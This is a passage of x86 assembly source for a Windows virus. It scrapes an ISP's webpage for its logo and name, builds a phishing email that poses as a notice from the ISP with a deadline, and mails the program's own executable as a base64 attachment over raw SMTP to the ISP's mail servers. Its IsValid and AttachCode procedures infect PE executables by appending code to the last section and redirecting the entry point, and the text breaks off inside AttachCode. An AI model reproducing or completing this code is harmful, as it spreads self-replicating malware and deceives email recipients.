|
cmp ecx, [ebp+dwWebpageSize]
|
|
je exitThread
|
|
inc esi
|
|
inc ecx
|
|
jmp findType
|
|
|
|
; find the start of the image URL
|
|
findImgStart:
|
|
mov al, [esi]
|
|
cmp al, ' '
|
|
je copyImage
|
|
cmp al, '='
|
|
je copyImage
|
|
cmp al, '('
|
|
je copyImage
|
|
cmp al, '"'
|
|
je copyImage
|
|
cmp ecx, 0
|
|
je exitThread
|
|
dec esi
|
|
dec ecx
|
|
jmp findImgStart
|
|
|
|
; copy the image URL to a buffer
|
|
copyImage:
|
|
inc esi
|
|
mov al, [esi]
|
|
mov [edi], al
|
|
cmp al, ' '
|
|
je imageCopied
|
|
cmp al, '"'
|
|
je imageCopied
|
|
cmp al, ')'
|
|
je imageCopied
|
|
cmp al, '>'
|
|
je imageCopied
|
|
cmp ecx, [ebp+dwWebpageSize]
|
|
je exitThread
|
|
inc ecx
|
|
inc edi
|
|
jmp copyImage
|
|
imageCopied:
|
|
mov byte ptr [edi], 0
|
|
|
|
; only the image name specified in the URL?
|
|
lea edi, [ebp+szUrl]
|
|
mov ecx, 132
|
|
mov al, '/'
|
|
repne scasb
|
|
mov edx, 1
|
|
jecxz makeFullUrl
|
|
|
|
; only the image path/name specified in the URL?
|
|
lea edi, [ebp+szUrl]
|
|
mov ecx, 132
|
|
mov al, ':'
|
|
repne scasb
|
|
mov edx, 0
|
|
jecxz makeFullUrl
|
|
|
|
; copy the full URL to a buffer
|
|
pushptr szUrl
|
|
pushptr szLogoUrl
|
|
ApiCall lstrcpyA
|
|
jmp logoParseComplete
|
|
|
|
; create a complete URL containing a scheme, hostname and path.
|
|
makeFullUrl:
|
|
lea edi, [ebp+szIspWebpage]
|
|
mov ecx, 132
|
|
mov al, '.'
|
|
repne scasb
|
|
mov eax, 132
|
|
sub eax, ecx
|
|
mov ecx, eax
|
|
findDomainEnd:
|
|
inc ecx
|
|
inc edi
|
|
cmp ecx, 132
|
|
je exitThread
|
|
mov al, [edi]
|
|
cmp al, 0
|
|
je copyDomain
|
|
cmp al, '/'
|
|
je copyDomain
|
|
jmp findDomainEnd
|
|
copyDomain:
|
|
lea edi, [ebp+szLogoUrl]
|
|
lea esi, [ebp+szIspWebpage]
|
|
rep movsb
|
|
cmp edx, 0
|
|
je concatPath
|
|
mov byte ptr [edi], '/'
|
|
inc edi
|
|
concatPath:
|
|
pushptr szUrl
|
|
push edi
|
|
ApiCall lstrcpyA
|
|
|
|
logoParseComplete:
|
|
|
|
;-------------------------------------------------------------------------------------------------;
|
|
; Get the company name of the ISP. ;
|
|
;-------------------------------------------------------------------------------------------------;
|
|
|
|
; copy the company name to a buffer
|
|
lea edi, [ebp+szIspName]
|
|
lea esi, [ebp+szIspDomainName]
|
|
copyCompanyName:
|
|
mov al, [esi]
|
|
cmp al, '.'
|
|
je companyNameCopied
|
|
mov [edi], al
|
|
inc esi
|
|
inc edi
|
|
jmp copyCompanyName
|
|
companyNameCopied:
|
|
mov byte ptr [edi], 0
|
|
|
|
; make the first letter upper case
|
|
lea edi, [ebp+szIspName]
|
|
and byte ptr [edi], 0DFh
|
|
|
|
;-------------------------------------------------------------------------------------------------;
|
|
; Create a deadline date for the email message ;
|
|
;-------------------------------------------------------------------------------------------------;
|
|
|
|
; get today's date
|
|
pushptr date
|
|
ApiCall GetSystemTime
|
|
|
|
; set the dead line date
|
|
mov [ebp+date.wDay], 1
|
|
inc [ebp+date.wMonth]
|
|
cmp [ebp+date.wMonth], 13
|
|
jl convertDate
|
|
mov [ebp+date.wMonth], 1
|
|
inc [ebp+date.wYear]
|
|
|
|
; convert the date to a string
|
|
convertDate:
|
|
push 25
|
|
pushptr szDeadLine
|
|
pushptr szDateFormat
|
|
pushptr date
|
|
push 0
|
|
push 0
|
|
ApiCall GetDateFormatA
|
|
|
|
;-------------------------------------------------------------------------------------------------;
|
|
; Generate a username to send the email message to. ;
|
|
;-------------------------------------------------------------------------------------------------;
|
|
|
|
xor si, si
|
|
|
|
; clear the email account buffer
|
|
push 25
|
|
pushptr szEmailAccount
|
|
ApiCall RtlZeroMemory
|
|
|
|
; generate a number from 0-1
|
|
ApiCall GetTickCount
|
|
and ax, 8000h
|
|
shr ax, 15
|
|
mov si, ax
|
|
cmp ax, 0
|
|
je getName
|
|
|
|
; generate a number from 0-25
|
|
preLetter:
|
|
ApiCall GetTickCount
|
|
and ax, 7C00h
|
|
shr ax, 10
|
|
cmp al, 26
|
|
jge preLetter
|
|
add al, 'A'
|
|
mov byte ptr [ebp+szEmailAccount], al
|
|
|
|
; generate a number from 0-1023
|
|
getName:
|
|
ApiCall GetTickCount
|
|
and ax, 3FFh
|
|
xor ecx, ecx
|
|
mov cx, ax
|
|
|
|
; find the name corrusponding to the number
|
|
lea edi, [ebp+lastnames]
|
|
jecxz displayName
|
|
seekToName:
|
|
push ecx
|
|
mov ecx, 25
|
|
xor al, al
|
|
repne scasb
|
|
pop ecx
|
|
loop seekToName
|
|
displayName:
|
|
push edi
|
|
pushptr szEmailAccount
|
|
ApiCall lstrcatA
|
|
|
|
; generate a trailing letter if specified
|
|
cmp si, 1
|
|
je nameComplete
|
|
postLetter:
|
|
ApiCall GetTickCount
|
|
and ax, 7C00h
|
|
shr ax, 10
|
|
mov dl, al
|
|
cmp dl, 26
|
|
jge postLetter
|
|
add dl, 'A'
|
|
xor al, al
|
|
lea edi, [ebp+szEmailAccount]
|
|
mov ecx, 25
|
|
repne scasb
|
|
mov byte ptr [edi-1], dl
|
|
|
|
nameComplete:
|
|
|
|
;-------------------------------------------------------------------------------------------------;
|
|
; Get a mail server name. ;
|
|
;-------------------------------------------------------------------------------------------------;
|
|
|
|
; query a DNS server for a list of the ISP's mail servers
|
|
push 0
|
|
pushptr lpResults
|
|
push 0
|
|
push DNS_QUERY_STANDARD
|
|
push DNS_TYPE_MX
|
|
pushptr szIspDomainName
|
|
ApiCall DnsQuery_A
|
|
cmp eax, 0
|
|
jne exitThread
|
|
|
|
; was an answer record found?
|
|
push size DNS_RECORD
|
|
pushval lpResults
|
|
pushptr dnsRecordHeader
|
|
ApiCall RtlMoveMemory
|
|
mov eax, [ebp+dnsRecordHeader.flags]
|
|
and al, 00000011b
|
|
cmp al, DNSREC_ANSWER
|
|
jne exitThread
|
|
|
|
; clear the szMailServer buffer
|
|
push 132
|
|
pushptr szMailServer
|
|
ApiCall RtlZeroMemory
|
|
|
|
; get the host name from the DNS response message
|
|
mov eax, [ebp+lpResults]
|
|
add eax, size DNS_RECORD
|
|
mov eax, [eax]
|
|
push eax
|
|
pushptr szMailServer
|
|
ApiCall lstrcpyA
|
|
|
|
; release the DNS record list
|
|
push DNS_FREE_RECORD_LIST_DEEP
|
|
pushval lpResults
|
|
ApiCall DnsRecordListFree
|
|
|
|
;-------------------------------------------------------------------------------------------------;
|
|
; Create the email message. ;
|
|
;-------------------------------------------------------------------------------------------------;
|
|
|
|
; allocate 4k of memory for the email message
|
|
push 4096
|
|
push GMEM_FIXED
|
|
ApiCall GlobalAlloc
|
|
cmp eax, 0
|
|
je exitThread
|
|
mov [ebp+lpEmailMessage], eax
|
|
|
|
; clear the buffer
|
|
push 4096
|
|
pushval lpEmailMessage
|
|
ApiCall RtlZeroMemory
|
|
|
|
; concat part 1 of the email message
|
|
pushptr szEmailPart1
|
|
pushval lpEmailMessage
|
|
ApiCall lstrcatA
|
|
|
|
; concat the ISP domain name
|
|
pushptr szIspDomainName
|
|
pushval lpEmailMessage
|
|
ApiCall lstrcatA
|
|
|
|
; concat part 2 of the email message
|
|
pushptr szEmailPart2
|
|
pushval lpEmailMessage
|
|
ApiCall lstrcatA
|
|
|
|
; concat the email account name
|
|
pushptr szEmailAccount
|
|
pushval lpEmailMessage
|
|
ApiCall lstrcatA
|
|
|
|
; concat part 3 of the email message
|
|
pushptr szEmailPart3
|
|
pushval lpEmailMessage
|
|
ApiCall lstrcatA
|
|
|
|
; concat the ISP domain name
|
|
pushptr szIspDomainName
|
|
pushval lpEmailMessage
|
|
ApiCall lstrcatA
|
|
|
|
; concat part 4 of the email message
|
|
pushptr szEmailPart4
|
|
pushval lpEmailMessage
|
|
ApiCall lstrcatA
|
|
|
|
; concat the ISP company name
|
|
pushptr szIspName
|
|
pushval lpEmailMessage
|
|
ApiCall lstrcatA
|
|
|
|
; concat part 5 of the email message
|
|
pushptr szEmailPart5
|
|
pushval lpEmailMessage
|
|
ApiCall lstrcatA
|
|
|
|
; concat the logo URL
|
|
pushptr szLogoUrl
|
|
pushval lpEmailMessage
|
|
ApiCall lstrcatA
|
|
|
|
; concat part 6 of the email message
|
|
pushptr szEmailPart6
|
|
pushval lpEmailMessage
|
|
ApiCall lstrcatA
|
|
|
|
; concat the ISP company name
|
|
pushptr szIspName
|
|
pushval lpEmailMessage
|
|
ApiCall lstrcatA
|
|
|
|
; concat part 7 of the email message
|
|
pushptr szEmailPart7
|
|
pushval lpEmailMessage
|
|
ApiCall lstrcatA
|
|
|
|
; concat the ISP company name
|
|
pushptr szIspName
|
|
pushval lpEmailMessage
|
|
ApiCall lstrcatA
|
|
|
|
; concat part 8 of the email message
|
|
pushptr szEmailPart8
|
|
pushval lpEmailMessage
|
|
ApiCall lstrcatA
|
|
|
|
; concat the ISP company name
|
|
pushptr szIspName
|
|
pushval lpEmailMessage
|
|
ApiCall lstrcatA
|
|
|
|
; concat part 9 of the email message
|
|
pushptr szEmailPart9
|
|
pushval lpEmailMessage
|
|
ApiCall lstrcatA
|
|
|
|
; concat the ISP company name
|
|
pushptr szIspName
|
|
pushval lpEmailMessage
|
|
ApiCall lstrcatA
|
|
|
|
; concat part 10 of the email message
|
|
pushptr szEmailPart10
|
|
pushval lpEmailMessage
|
|
ApiCall lstrcatA
|
|
|
|
; concat the ISP company name
|
|
pushptr szIspName
|
|
pushval lpEmailMessage
|
|
ApiCall lstrcatA
|
|
|
|
; concat part 11 of the email message
|
|
pushptr szEmailPart11
|
|
pushval lpEmailMessage
|
|
ApiCall lstrcatA
|
|
|
|
; concat the dead line date
|
|
pushptr szDeadLine
|
|
pushval lpEmailMessage
|
|
ApiCall lstrcatA
|
|
|
|
; concat part 12 of the email message
|
|
pushptr szEmailPart12
|
|
pushval lpEmailMessage
|
|
ApiCall lstrcatA
|
|
|
|
; concat the ISP company name
|
|
pushptr szIspDomainName
|
|
pushval lpEmailMessage
|
|
ApiCall lstrcatA
|
|
|
|
; concat part 13 of the email message
|
|
pushptr szEmailPart13
|
|
pushval lpEmailMessage
|
|
ApiCall lstrcatA
|
|
|
|
; concat the ISP company name
|
|
pushptr szIspDomainName
|
|
pushval lpEmailMessage
|
|
ApiCall lstrcatA
|
|
|
|
; concat part 14 of the email message
|
|
pushptr szEmailPart14
|
|
pushval lpEmailMessage
|
|
ApiCall lstrcatA
|
|
|
|
; get the year
|
|
push 6
|
|
pushptr szYear
|
|
pushptr szYearFormat
|
|
push 0
|
|
push 0
|
|
push 0
|
|
ApiCall GetDateFormatA
|
|
|
|
; concat the year
|
|
pushptr szYear
|
|
pushval lpEmailMessage
|
|
ApiCall lstrcatA
|
|
|
|
; concat part 15 of the email message
|
|
pushptr szEmailPart15
|
|
pushval lpEmailMessage
|
|
ApiCall lstrcatA
|
|
|
|
; concat the ISP company name
|
|
pushptr szIspName
|
|
pushval lpEmailMessage
|
|
ApiCall lstrcatA
|
|
|
|
; concat part 16 of the email message
|
|
pushptr szEmailPart16
|
|
pushval lpEmailMessage
|
|
ApiCall lstrcatA
|
|
|
|
;-------------------------------------------------------------------------------------------------;
|
|
; Send the email message. ;
|
|
;-------------------------------------------------------------------------------------------------;
|
|
|
|
; connect to the mail server
|
|
mov eax, 25
|
|
lea esi, [ebp+szMailServer]
|
|
call ConnectToHost
|
|
cmp eax, -1
|
|
je exitThread
|
|
mov [ebp+hSock], eax
|
|
|
|
; set the timeout duration
|
|
mov eax, 5000
|
|
mov esi, [ebp+hSock]
|
|
lea edi, [ebp+dwTimeOut]
|
|
call SetTimeOut
|
|
|
|
; get the server response
|
|
push 0
|
|
push 256
|
|
pushptr szResponse
|
|
pushval hSock
|
|
ApiCall recv
|
|
cmp eax, -1
|
|
je exitThread
|
|
|
|
; create the HELO command
|
|
pushptr szHeloPart1
|
|
pushptr szCommand
|
|
ApiCall lstrcpyA
|
|
pushptr szIspDomainName
|
|
pushptr szCommand
|
|
ApiCall lstrcatA
|
|
pushptr szHeloPart2
|
|
pushptr szCommand
|
|
ApiCall lstrcatA
|
|
|
|
; send the HELO command
|
|
pushptr szCommand
|
|
ApiCall lstrlenA
|
|
push 0
|
|
push eax
|
|
pushptr szCommand
|
|
pushval hSock
|
|
ApiCall send
|
|
cmp eax, -1
|
|
je exitThread
|
|
|
|
; recieve the server response
|
|
push 0
|
|
push 256
|
|
pushptr szResponse
|
|
pushval hSock
|
|
ApiCall recv
|
|
cmp eax, -1
|
|
je exitThread
|
|
|
|
; create the MAIL FROM command
|
|
pushptr szMailFromPart1
|
|
pushptr szCommand
|
|
ApiCall lstrcpyA
|
|
pushptr szIspDomainName
|
|
pushptr szCommand
|
|
ApiCall lstrcatA
|
|
pushptr szMailFromPart2
|
|
pushptr szCommand
|
|
ApiCall lstrcatA
|
|
|
|
; send the MAIL FROM command
|
|
pushptr szCommand
|
|
ApiCall lstrlenA
|
|
push 0
|
|
push eax
|
|
pushptr szCommand
|
|
pushval hSock
|
|
ApiCall send
|
|
cmp eax, -1
|
|
je exitThread
|
|
|
|
; recieve the server response
|
|
push 0
|
|
push 256
|
|
pushptr szResponse
|
|
pushval hSock
|
|
ApiCall recv
|
|
cmp eax, -1
|
|
je exitThread
|
|
|
|
; create the RCPT TO command
|
|
pushptr szRcptToPart1
|
|
pushptr szCommand
|
|
ApiCall lstrcpyA
|
|
pushptr szEmailAccount
|
|
pushptr szCommand
|
|
ApiCall lstrcatA
|
|
pushptr szRcptToPart2
|
|
pushptr szCommand
|
|
ApiCall lstrcatA
|
|
pushptr szIspDomainName
|
|
pushptr szCommand
|
|
ApiCall lstrcatA
|
|
pushptr szRcptToPart3
|
|
pushptr szCommand
|
|
ApiCall lstrcatA
|
|
|
|
; send the RCPT TO command
|
|
pushptr szCommand
|
|
ApiCall lstrlenA
|
|
push 0
|
|
push eax
|
|
pushptr szCommand
|
|
pushval hSock
|
|
ApiCall send
|
|
cmp eax, -1
|
|
je exitThread
|
|
|
|
; recieve the server response
|
|
push 0
|
|
push 256
|
|
pushptr szResponse
|
|
pushval hSock
|
|
ApiCall recv
|
|
cmp eax, -1
|
|
je exitThread
|
|
|
|
; create the DATA command
|
|
pushptr szData
|
|
pushptr szCommand
|
|
ApiCall lstrcpyA
|
|
|
|
; send the DATA command
|
|
pushptr szCommand
|
|
ApiCall lstrlenA
|
|
push 0
|
|
push eax
|
|
pushptr szCommand
|
|
pushval hSock
|
|
ApiCall send
|
|
cmp eax, -1
|
|
je exitThread
|
|
|
|
; recieve the server response
|
|
push 0
|
|
push 256
|
|
pushptr szResponse
|
|
pushval hSock
|
|
ApiCall recv
|
|
cmp eax, -1
|
|
je exitThread
|
|
|
|
; send the email message
|
|
mov edi, [ebp+lpEmailMessage]
|
|
sendMessage:
|
|
push 0
|
|
push 1
|
|
push edi
|
|
pushval hSock
|
|
ApiCall send
|
|
cmp eax, -1
|
|
je exitThread
|
|
inc edi
|
|
cmp byte ptr [edi], 0
|
|
jne sendMessage
|
|
|
|
;-------------------------------------------------------------------------------------------------;
|
|
; Send the file attachment. ;
|
|
;-------------------------------------------------------------------------------------------------;
|
|
|
|
; get the path and name of this program
|
|
push 256
|
|
pushptr szModuleName
|
|
push 0
|
|
ApiCall GetModuleFileNameA
|
|
|
|
; open this program
|
|
push 0
|
|
push 0
|
|
push OPEN_EXISTING
|
|
push 0
|
|
push FILE_SHARE_READ
|
|
push GENERIC_READ
|
|
pushptr szModuleName
|
|
ApiCall CreateFileA
|
|
cmp eax, -1
|
|
je exitThread
|
|
mov [ebp+hFile], eax
|
|
|
|
; get the size of the file
|
|
push 0
|
|
pushval hFile
|
|
ApiCall GetFileSize
|
|
cmp eax, -1
|
|
je exitThread
|
|
|
|
; calculate the number of 3 byte base64 groups
|
|
xor edx, edx
|
|
mov ebx, 3
|
|
div ebx
|
|
mov ecx, eax
|
|
|
|
; send the base64 encoded file data
|
|
sendAttachment:
|
|
push edx
|
|
push ecx
|
|
|
|
; read 3 bytes
|
|
push 0
|
|
pushptr dwNumberOfBytes
|
|
push 3
|
|
pushptr threeBytes
|
|
pushval hFile
|
|
ApiCall ReadFile
|
|
|
|
; base64 encode the three bytes
|
|
mov ecx, 3
|
|
lea esi, [ebp+threeBytes]
|
|
lea edi, [ebp+fourBytes]
|
|
call Base64Encode
|
|
|
|
; send the four base64 encoded bytes
|
|
push 0
|
|
push 4
|
|
pushptr fourBytes
|
|
pushval hSock
|
|
ApiCall send
|
|
cmp eax, -1
|
|
je exitThread
|
|
|
|
pop ecx
|
|
pop edx
|
|
loop sendAttachment
|
|
|
|
; get the remaining bytes
|
|
push edx
|
|
push 0
|
|
pushptr dwNumberOfBytes
|
|
push edx
|
|
pushptr threeBytes
|
|
pushval hFile
|
|
ApiCall ReadFile
|
|
pop edx
|
|
|
|
; base64 encode the remaining bytes
|
|
push edx
|
|
mov ecx, edx
|
|
lea esi, [ebp+threeBytes]
|
|
lea edi, [ebp+fourBytes]
|
|
call Base64Encode
|
|
pop edx
|
|
|
|
; send the remaining bytes
|
|
push 0
|
|
push 4
|
|
pushptr fourBytes
|
|
pushval hSock
|
|
ApiCall send
|
|
cmp eax, -1
|
|
je exitThread
|
|
|
|
;-------------------------------------------------------------------------------------------------;
|
|
; send the final part of the email message. ;
|
|
;-------------------------------------------------------------------------------------------------;
|
|
|
|
; send the last part of the email message
|
|
pushptr szEmailPart17
|
|
ApiCall lstrlenA
|
|
push 0
|
|
push eax
|
|
pushptr szEmailPart17
|
|
pushval hSock
|
|
ApiCall send
|
|
cmp eax, -1
|
|
je exitThread
|
|
|
|
; recieve the server response
|
|
push 0
|
|
push 256
|
|
pushptr szResponse
|
|
pushval hSock
|
|
ApiCall recv
|
|
cmp eax, -1
|
|
je exitThread
|
|
|
|
;-------------------------------------------------------------------------------------------------;
|
|
; Clean up
|
|
;-------------------------------------------------------------------------------------------------;
|
|
|
|
; free the webpage buffer
|
|
pushptr lpWebpage
|
|
ApiCall GlobalFree
|
|
|
|
; free the email message buffer
|
|
pushptr lpEmailMessage
|
|
ApiCall GlobalFree
|
|
|
|
; close wininet
|
|
pushval hInternet
|
|
ApiCall InternetCloseHandle
|
|
|
|
; close winsock
|
|
ApiCall WSACleanup
|
|
|
|
;-------------------------------------------------------------------------------------------------;
|
|
; Exit thread. ;
|
|
;-------------------------------------------------------------------------------------------------;
|
|
|
|
exitThread:
|
|
|
|
; set the thread status
|
|
mov [ebp+dwThreadStatus], EXIT_THREAD
|
|
|
|
; exit the thread
|
|
ApiCall GetCurrentThread
|
|
|
|
lea ebx, [ebp+dwExitCode]
|
|
push ebx
|
|
push eax
|
|
ApiCall GetExitCodeThread
|
|
|
|
pushval dwExitCode
|
|
ApiCall ExitThread
|
|
|
|
;-------------------------------------------------------------------------------------------------;
|
|
; Function(s) ;
|
|
;-------------------------------------------------------------------------------------------------;
|
|
|
|
Base64Encode PROC
|
|
;
|
|
; Description:
|
|
; Base64 encodes a group of bytes.
|
|
;
|
|
; Parameters:
|
|
; ecx = Number of bytes to encode.
|
|
; esi = pointer to a buffer that needs encoding.
|
|
; edi = pointer to a buffer that will recieve the encoded data.
|
|
;
|
|
; Return Values:
|
|
; None.
|
|
;
|
|
cmp ecx, 3
|
|
jl @@pad ; no groups of 3 to convert?
|
|
xor edx, edx
|
|
mov eax, ecx
|
|
mov ebx, 3
|
|
div ebx ; edx = number of padded bytes
|
|
mov ecx, eax
|
|
@@base64: ; encode groups of 3 bytes to base64
|
|
lodsd
|
|
dec esi
|
|
bswap eax
|
|
push ecx
|
|
mov ecx, 4
|
|
@@encode3:
|
|
rol eax, 6
|
|
push eax
|
|
and eax, 3fh
|
|
mov al, [ebp+@@charset+eax] ; get the base64 character
|
|
stosb
|
|
pop eax
|
|
loop @@encode3
|
|
pop ecx
|
|
loop @@base64
|
|
mov ecx, edx
|
|
cmp edx, 3
|
|
jg @@return
|
|
@@pad: ; pad any additional bytes
|
|
inc ecx
|
|
mov dword ptr [edi], '===='
|
|
mov eax, [esi]
|
|
bswap eax
|
|
@@l1:
|
|
rol eax, 6
|
|
push eax
|
|
and eax, 3fh
|
|
mov al, [ebp+@@charset+eax]
|
|
stosb
|
|
pop eax
|
|
loop @@l1
|
|
@@return:
|
|
ret
|
|
@@charset DB 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/', 0
|
|
Base64Encode ENDP
|
|
|
|
SetTimeOut PROC
|
|
;
|
|
; Description:
|
|
; Sets the timeout duration for sending and recieving data.
|
|
;
|
|
; Parameters:
|
|
; esi = socket handle.
|
|
; edi = pointer to a DWORD.
|
|
; eax = timeout duration.
|
|
;
|
|
; Return Values:
|
|
; None.
|
|
;
|
|
|
|
; set the timeout duration
|
|
mov [edi], eax
|
|
|
|
; set the timeout for recieving data
|
|
push 4
|
|
push edi
|
|
push SO_RCVTIMEO
|
|
push SOL_SOCKET
|
|
push esi
|
|
ApiCall setsockopt
|
|
|
|
; set the timeout for sending data
|
|
push 4
|
|
push edi
|
|
push SO_SNDTIMEO
|
|
push SOL_SOCKET
|
|
push esi
|
|
ApiCall setsockopt
|
|
|
|
ret
|
|
SetTimeOut ENDP
|
|
|
|
LoadImports PROC
|
|
;
|
|
; Description:
|
|
; Loads a series a dll's and the addresses of the specified functions.
|
|
;
|
|
; Parameters:
|
|
; eax = pointer to an import table.
|
|
;
|
|
; Return Values:
|
|
; If the function is successful the return value is 0. If the function fails
|
|
; the return value is -1.
|
|
;
|
|
mov edi, eax
|
|
@@loadLibrary:
|
|
push edi
|
|
ApiCall LoadLibraryA ; load the dll
|
|
cmp eax, 0
|
|
je apiLoadError
|
|
mov esi, eax
|
|
xor al, al
|
|
mov ecx, 100
|
|
repne scasb ; find the dll pointer
|
|
@@loadFunctions:
|
|
push edi
|
|
push esi
|
|
ApiCall GetProcAddress ; get function address
|
|
cmp eax, 0
|
|
je apiLoadError
|
|
mov ebx, eax
|
|
xor al, al
|
|
mov ecx, 100
|
|
repne scasb ; find function pointer
|
|
mov [edi], ebx ; save the function address
|
|
add edi, 4
|
|
cmp byte ptr [edi], 0 ; end of function list?
|
|
jne @@loadFunctions
|
|
inc edi
|
|
cmp byte ptr [edi], '$' ; end of import list?
|
|
jne @@loadLibrary
|
|
xor eax, eax
|
|
ret
|
|
@@apiLoadError:
|
|
mov eax, -1
|
|
ret
|
|
LoadImports ENDP
|
|
|
|
ConnectToHost PROC
|
|
;
|
|
; Description:
|
|
; Connects to a host.
|
|
;
|
|
; Parameters:
|
|
; eax = port.
|
|
; esi = pointer to a zero terminated host name.
|
|
;
|
|
; Return Values:
|
|
; If the function is successful the return value is the socket handle. If the function fails
|
|
; the return value is -1.
|
|
;
|
|
|
|
; fill the SOCK_ADDRESS structure
|
|
mov [ebp+sockAddress.sin_family], AF_INET
|
|
push eax
|
|
ApiCall htons
|
|
mov [ebp+sockAddress.sin_port], ax
|
|
push esi
|
|
ApiCall gethostbyname
|
|
cmp eax, 0
|
|
je @@connectionFailed
|
|
mov eax, [eax+12]
|
|
mov eax, [eax]
|
|
mov eax, [eax]
|
|
mov [ebp+sockAddress.sin_addr], eax
|
|
|
|
; Create a socket
|
|
push PCL_NONE
|
|
push SOCK_STREAM
|
|
push AF_INET
|
|
ApiCall socket
|
|
mov esi, eax
|
|
cmp eax, -1
|
|
je @@connectionFailed
|
|
|
|
; connect to host
|
|
push 16
|
|
pushptr sockAddress
|
|
push esi
|
|
ApiCall connect
|
|
cmp eax, 0
|
|
jne @@connectionFailed
|
|
mov eax, esi
|
|
ret
|
|
|
|
@@connectionFailed:
|
|
mov eax, -1
|
|
ret
|
|
ConnectToHost ENDP
|
|
|
|
IsValid PROC
|
|
;
|
|
; Description:
|
|
; Checks to see if the file is a valid win32 exe and is not already infected.
|
|
;
|
|
; Parameters:
|
|
; esi = Pointer to filename.
|
|
;
|
|
; Return Values:
|
|
; If the function is successful the return value is 0. If the function fails the return
|
|
; value is -1.
|
|
;
|
|
|
|
; open the file
|
|
push 0
|
|
push 0
|
|
push OPEN_EXISTING
|
|
push 0
|
|
push FILE_SHARE_WRITE OR FILE_SHARE_READ
|
|
push GENERIC_WRITE OR GENERIC_READ
|
|
push esi
|
|
ApiCall CreateFileA
|
|
cmp eax, -1
|
|
je @@notValid
|
|
mov [ebp+hFile], eax
|
|
|
|
; read the DOS header into memory
|
|
push 0
|
|
pushptr dwNumberOfBytes
|
|
push size DOS_HEADER
|
|
pushptr dosHeader
|
|
pushval hFile
|
|
ApiCall ReadFile
|
|
cmp word ptr [ebp+dosHeader.wSignature], 'ZM'
|
|
jne @@notValid
|
|
|
|
; seek to the PE header
|
|
push FILE_BEGIN
|
|
push 0
|
|
pushval dosHeader.lpPEHeader
|
|
pushval hFile
|
|
ApiCall SetFilePointer
|
|
|
|
; read the PE header into memory
|
|
push 0
|
|
pushptr dwNumberOfBytes
|
|
push size PE_HEADER
|
|
pushptr peHeader
|
|
pushval hFile
|
|
ApiCall ReadFile
|
|
|
|
; is it a win32 exe file?
|
|
cmp word ptr [ebp+peHeader.dwSignature], 'EP'
|
|
jne @@notValid
|
|
|
|
; calculate the location of the last section header
|
|
xor edx, edx
|
|
xor eax, eax
|
|
mov ax, [ebp+peHeader.wNumberOfSections]
|
|
dec eax
|
|
mov ebx, size SECTION_HEADER
|
|
mul ebx
|
|
add eax, [ebp+dosHeader.lpPEHeader]
|
|
add eax, size PE_HEADER
|
|
mov [ebp+lpLastSectionHeader], eax
|
|
|
|
; seek to the last section header
|
|
push FILE_BEGIN
|
|
push 0
|
|
pushval lpLastSectionHeader
|
|
pushval hFile
|
|
ApiCall SetFilePointer
|
|
|
|
; read the last section header into memory
|
|
push 0
|
|
pushptr dwNumberOfBytes
|
|
push size SECTION_HEADER
|
|
pushptr sectionHeader
|
|
pushval hFile
|
|
ApiCall ReadFile
|
|
|
|
; code already attached?
|
|
cmp dword ptr [ebp+sectionHeader.dwCharacteristics], SECTION_RWE
|
|
je @@notValid
|
|
|
|
@@isValid:
|
|
pushval hFile
|
|
ApiCall CloseHandle
|
|
xor eax, eax
|
|
ret
|
|
|
|
@@notValid:
|
|
pushval hFile
|
|
ApiCall CloseHandle
|
|
mov eax, -1
|
|
ret
|
|
|
|
IsValid ENDP
|
|
|
|
AttachCode PROC
|
|
;
|
|
; Description:
|
|
; Infects a win32 exe with this program.
|
|
;
|
|
; Parameters:
|
|
; esi = Pointer to filename.
|
|
;
|
|
; Return Values:
|
|
; If the function is successful the return value is 0. If the function fails the return
|
|
; value is -1.
|
|
;
|
|
|
|
; save the return address for this instance
|
|
push [ebp+lpReturnAddress]
|
|
|
|
; open the file
|
|
push 0
|
|
push 0
|
|
push OPEN_EXISTING
|
|
push 0
|
|
push FILE_SHARE_WRITE OR FILE_SHARE_READ
|
|
push GENERIC_WRITE OR GENERIC_READ
|
|
push esi
|
|
ApiCall CreateFileA
|
|
cmp eax, -1
|
|
je @@attachFailure
|
|
mov [ebp+hFile], eax
|
|
|
|
; read the DOS header into memory
|
|
push 0
|
|
pushptr dwNumberOfBytes
|
|
push size DOS_HEADER
|
|
pushptr dosHeader
|
|
pushval hFile
|
|
ApiCall ReadFile
|
|
|
|
; seek to the PE header
|
|
push FILE_BEGIN
|
|
push 0
|
|
pushval dosHeader.lpPEHeader
|
|
pushval hFile
|
|
ApiCall SetFilePointer
|
|
|
|
; read the PE header into memory
|
|
push 0
|
|
pushptr dwNumberOfBytes
|
|
push size PE_HEADER
|
|
pushptr peHeader
|
|
pushval hFile
|
|
ApiCall ReadFile
|
|
|
|
; update the image size
|
|
add dword ptr [ebp+peHeader.dwSizeOfImage], ((CODE_SIZE + (1000h - 1)) AND 0FFFFF000h)
|
|
|
|
; use the program entry point as a return address
|
|
mov eax, [ebp+peHeader.dwAddressOfEntryPoint]
|
|
mov [ebp+lpReturnAddress], eax
|
|
|
|
; calculate the location of the last section header
|
|
xor edx, edx
|
|
xor eax, eax
|
|
mov ax, [ebp+peHeader.wNumberOfSections]
|
|
dec eax
|
|
mov ebx, size SECTION_HEADER
|
|
mul ebx
|
|
add eax, [ebp+dosHeader.lpPEHeader]
|
|
add eax, size PE_HEADER
|
|
mov [ebp+lpLastSectionHeader], eax
|
|
|
|
; seek to the last section header
|
|
push FILE_BEGIN
|
|
push 0
|
|
pushval lpLastSectionHeader
|
|
pushval hFile
|
|
ApiCall SetFilePointer
|
|
|
|
; read the last section header into memory
|
|
push 0
|
|
pushptr dwNumberOfBytes
|
|
push size SECTION_HEADER
|
|
pushptr sectionHeader
|
|
pushval hFile
|
|
ApiCall ReadFile
|
|
|
|
; point the program entry point to this code
|
|
mov eax, [ebp+sectionHeader.dwVirtualAddress]
|
|
add eax, [ebp+sectionHeader.dwSizeOfRawData]
|
|
mov [ebp+peHeader.dwAddressOfEntryPoint], eax
|
|
|
|
; calculate the location in the file where the code should go
|
|
mov eax, [ebp+sectionHeader.dwPointerToRawData]
|
|
add eax, [ebp+sectionHeader.dwSizeOfRawData]
|
|
mov [ebp+lpCode], eax
|
|
|
|
; seek to that location
|
|
push FILE_BEGIN
|
|
push 0
|
|
pushval lpCode
|
|
pushval hFile
|
|
ApiCall SetFilePointer
|
|
|
|
; write the decryption code to the file
|
|
push 0
|
|
pushptr dwNumberOfBytes
|
|
push (offset encrypted - offset main)
|
|
pushval lpStartOfCode
|
|
pushval hFile
|
